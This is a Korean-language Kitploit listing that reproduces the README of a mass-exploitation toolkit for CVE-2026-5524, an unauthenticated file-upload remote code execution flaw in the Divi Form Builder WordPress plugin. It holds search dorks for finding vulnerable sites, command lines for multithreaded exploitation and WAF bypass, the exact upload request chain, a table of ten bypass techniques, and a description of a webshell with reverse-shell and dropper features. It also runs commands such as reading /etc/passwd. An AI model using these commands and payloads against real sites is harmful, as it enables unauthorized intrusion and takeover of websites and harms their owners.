Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-5524-PoC — 대량 익스플로잇 툴킷으로, Divi Form Builder의 인증되지 않은 파일 업로드 RCE 취약점인 CVE-2026-5524를 대상으로 합니다. 멀티스레드 스캐닝, WAF 우회 기법, 맞춤형 웹셸 배포, 대화형 명령 실행 기능을 제공합니다. | Kitploit
도구/GitHubGitHub/caterscam/cve-2026-5524-poc
ReconnaissanceVulnerability ScannersExploitationShellcodeWeb Application ExploitationInformation GatheringWAF BypassPenetration TestingCommand and ControlRed TeamingPayload Development
1142개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
caterscam/cve-2026-5524-poc

CVE-2026-5524-PoC

대량 익스플로잇 툴킷으로, Divi Form Builder의 인증되지 않은 파일 업로드 RCE 취약점인 CVE-2026-5524를 대상으로 합니다. 멀티스레드 스캐닝, WAF 우회 기법, 맞춤형 웹셸 배포, 대화형 명령 실행 기능을 제공합니다.

저장소 보기

CVE-2026-5524 — Divi Form Builder 인증되지 않은 RCE

CVE-2026-5524에 대한 대량 익스플로잇 툴킷으로, WordPress 플러그인 Divi Form Builder <= 5.1.8의 인증되지 않은 임의 파일 업로드 취약점을 악용하여 원격 코드 실행으로 이어집니다.

version Devon Aji python telegram

필드값
CVE2026-5524
CVSS9.8 (치명적)
벡터AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
영향 범위Divi Form Builder <= 5.1.8
패치 버전5.1.9
유형인증되지 않은 파일 업로드를 통한 RCE
연구자0xd4rk5id3 - EnvoraSec

목차

  • 설명
  • Dorks
  • 설치
  • 사용법
    • 단일 대상
    • 대량 익스플로잇
    • 고급 우회
    • 명령 실행
  • 취약점 상세
  • 우회 기법
  • 기술 스택
  • 프로젝트 구조
  • 공격 흐름
  • 면책 조항

설명

WordPress용 Divi Form Builder 플러그인에는 인증되지 않은 임의 파일 업로드 취약점이 있습니다. do_image_upload() 핸들러는 사용자가 제어하는 acceptFileTypes POST 매개변수를 파일 확장자를 검증하는 데 사용되는 정규 표현식에 직접 전달합니다. 공격자는 phtml과 같은 값을 제공하여 .php 확장자만 차단하는 플러그인의 .htaccess 규칙을 우회하고 PHP 실행 가능 확장자(.phtml, .phar, .php5, .php7 등)를 가진 웹셸을 업로드할 수 있습니다.

파일이 /wp-content/uploads/de_fb_uploads/에 저장되면 Apache가 이를 PHP로 실행하여 공격자에게 웹 서버 사용자 권한의 원격 코드 실행을 부여합니다.

이 문제는 Divi Form Builder 5.1.9에서 수정되었습니다.


Dorks

FOFA

root@kitploit:~
body="de_fb_obj" && body="fb_nonce"

Shodan

root@kitploit:~
http.html:"de_fb_obj" http.html:"fb_nonce"

Google

root@kitploit:~
inurl:"/wp-content/plugins/divi-form-builder/"

ZoomEye

root@kitploit:~
app:"WordPress" && body:"de_fb_obj"

Censys

root@kitploit:~
services.http.response.body: "de_fb_obj"

설치

요구 사항: Linux, macOS 또는 WSL에서 Python 3.8 이상.

root@kitploit:~
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

사용법

단일 대상

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com

대량 익스플로잇

root@kitploit:~
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20

고급 우회

WAF(NinjaFirewall, Wordfence, ModSecurity) 뒤에 있거나 강화된 Apache 또는 nginx 구성을 사용하는 대상을 위한 방법입니다.

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug

명령 실행

업로드 성공 후 스크립트는 즉시 명령을 실행하거나 대화형 셸로 전환할 수 있습니다.

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell

플래그


취약점 상세

취약한 코드

취약한 핸들러는 사용자 입력을 검증 없이 정규 표현식으로 구성합니다.

root@kitploit:~
public function do_image_upload() {
    $accepted = $_POST['acceptFileTypes'];
    $pattern  = '/\\.(' . $accepted . ')$/i';

    if (preg_match($pattern, $filename)) {
        move_uploaded_file($tmp, $dest);
    }
}

acceptFileTypes=phtml을 보내면 결과 정규 표현식 /\.(phtml)$/i이 .phtml로 끝나는 파일 이름과 일치합니다. 플러그인 자체 .htaccess 파일은 .php 확장자만 차단하므로 Apache는 업로드된 파일을 PHP로 실행하여 원격 코드 실행이 발생합니다.

확인된 공격 체인

  1. Divi Form Builder 양식이 포함된 페이지(/, /contact, /quote 등)를 크롤링합니다. Varnish, WP Rocket 및 기타 페이지 캐시가 오래된 nonce를 제공하지 않도록 ?nocache=<random> 매개변수를 추가합니다.

  2. 로컬라이즈된 JavaScript 객체에서 fb_nonce 값을 추출합니다.

    root@kitploit:~
    de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
    
  3. /wp-admin/admin-ajax.php에 다음 multipart 양식을 POST합니다.

    root@kitploit:~
    action=de_fb_image_upload
    fb_nonce=<nonce>
    acceptFileTypes=phtml
    [email protected]
    
  4. JSON 응답에서 파일 URL을 읽습니다.

    root@kitploit:~
    {"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
    
  5. base64로 인코딩된 명령을 사용하여 셸을 요청합니다.

    root@kitploit:~
    curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
    

우회 기법

스크립트는 우선순위에 따라 각 기법을 시도하며, --aggressive가 설정된 경우 첫 번째 업로드가 성공한 후에도 모든 기법을 시도합니다.


기술 스택

익스플로잇 스크립트

사용자 정의 셸 (bypass.phtml)


프로젝트 구조

root@kitploit:~
cve-2026-5524/
|-- CVE-2026-5524.py          Main exploit script
|-- bypass.phtml              16 KB multi-layer PHP webshell
|-- htaccess_enable.phtml     Dropper that writes a re-enabling .htaccess
|-- user_ini.phtml            Dropper that writes a .user.ini for PHP-FPM
|-- targets.txt               Example target list
|-- pwned.jsonl               Generated by the -o flag during mass scans
|-- requirements.txt          Python dependencies
`-- README.md                 This document

공격 흐름

root@kitploit:~
+--------------------------------------------------+
| 1. Recon                                         |
|    GET /?nocache=<random>                        |
|    Parse fb_nonce from de_fb_obj                 |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 2. Craft exploit                                 |
|    POST /wp-admin/admin-ajax.php                 |
|    action=de_fb_image_upload                     |
|    acceptFileTypes=phtml                         |
|    [email protected]                             |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 3. Server accepts and stores file                |
|    /uploads/de_fb_uploads/<random>.phtml         |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 4. Execute                                       |
|    GET shell.phtml?x=base64(command)             |
|    Remote code execution achieved                |
+--------------------------------------------------+

면책 조항

이 도구는 교육 목적과 승인된 침투 테스트 작업 중 사용을 위해 제공됩니다. 허용 가능한 사용 예시는 다음과 같습니다.

  • 대상 테스트를 명시적으로 승인하는 버그 바운티 프로그램
  • CTF 대회 및 전용 연구실 환경
  • 자산 소유자의 서면 허가를 받은 내부 보안 평가
  • 통제된 환경에서 수행되는 학술 보안 연구

소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에 대한 무단 사용은 사실상 모든 관할권에서 불법이며 엄격히 금지됩니다. 저자는 이 코드의 오용을 묵인하거나 책임지지 않습니다.

J'ai la permission et je suis autorisé à effectuer ce pentest. (I have permission and I am authorized to perform this pentest.)

관련될 가능성이 있는 법률로는 인도네시아의 UU ITE, 미국 컴퓨터 사기 및 남용법(Computer Fraud and Abuse Act), 유럽 연합 사이버 범죄 협약(Cybercrime Convention), 그리고 다른 국가의 유사한 법률이 있습니다. 확실하지 않은 경우 먼저 서면 승인을 받으십시오.


라이선스

교육용으로만 사용하십시오. 전체 사용 약관은 면책 조항 섹션을 참조하십시오.

도구 다운로드
플래그설명
-u URL단일 대상 URL
-l FILE줄당 하나의 URL이 포함된 대상 목록 파일
-t N동시 스레드 수 (기본값 10)
--timeout N요청 제한 시간(초) (기본값 15)
-o FILE결과를 JSONL 출력 파일로 저장
--proxy URLHTTP 프록시를 통해 트래픽 전송
--nonce HASH수동으로 제공된 nonce 사용, 자동 감지 건너뜀
--ext EXT전체 우회 목록 대신 단일 확장자 강제 사용
--shell성공 시 대화형 RCE 셸로 전환 (단일 대상 전용)
--cmd CMD대상에서 하나의 명령을 실행한 후 종료
--shell-file FILE내장 페이로드 대신 사용자 정의 셸 페이로드 업로드
--no-verify업로드 후 RCE 검증 단계 건너뜀
--strict-verify셸 URL이 HTTP 200을 반환하는지 확인하여 오탐 필터링
--user-iniPHP-FPM 환경용 .user.ini 드로퍼 업로드
--htaccessApache 환경용 .htaccess 재활성화 파일 업로드
--aggressive사용 가능한 모든 우회 기법 활성화
--null-byte널 바이트 및 이중 확장자 시도 포함
--path-traversal/uploads/YYYY/MM/ 하위 디렉터리에 업로드 시도
--debug진단을 위해 원시 HTTP 응답 출력
#기법대상
1대체 PHP 확장자 .phtml, .phar, .php5, .php7, .php4, .pht, .shtml.php만 차단하는 플러그인 .htaccess 규칙
2대소문자 변형 .PHTML, .PHP5, .PhTmL대소문자 구분 WAF 시그니처 (NinjaFirewall)
3이중 확장자 .phtml.jpg, .php.jpgApache mod_mime 콘텐츠 협상 결함
4널 바이트 .php%00.jpg, .phtml%00.txt구형 PHP 버전 (5.3.4 미만) 및 일부 파서
5후행 공백 또는 점 .php , .php.Windows IIS 및 구형 Apache 버전
6Content-Type 스푸핑 application/octet-streammultipart Content-Type 헤더를 기준으로 차단하는 WAF
7.gif, .png, .jpg, .txt, .html 등에서 PHP를 다시 활성화하는 실제 .htaccess 업로드AllowOverride All이 설정된 Apache 서버
8auto_prepend_file이 포함된 .user.ini 업로드PHP-FPM 환경
9multipart 경계 조작을 통한 파일 이름 주입요청 본문을 다시 파싱하는 프록시 및 WAF
10파일 이름의 경로 탐색 ../shell.phtml플러그인 디렉터리 제한
구성 요소기술
언어Python 3.8+
HTTP 클라이언트requests
TLS 처리자체 서명 인증서용 비보안 모드의 urllib3
동시성대량 스캔용 concurrent.futures.ThreadPoolExecutor
파싱nonce 추출용 re, 응답 처리용 json
인코딩웹셸 명령 매개변수용 base64
CLI19개의 구성 가능한 플래그가 있는 argparse
구성 요소기술
언어PHP 7.0+
실행 함수system(), shell_exec(), proc_open(), passthru(), popen()
프론트엔드JavaScript 프레임워크 없는 일반 HTML 양식
기능파일 브라우저, 명령 실행, 데이터베이스 액세스, 리버스 셸, 자체 설치 .htaccess 및 .user.ini
크기약 16 KB
우회 계층6개의 독립적인 실행 경로 및 인코딩된 페이로드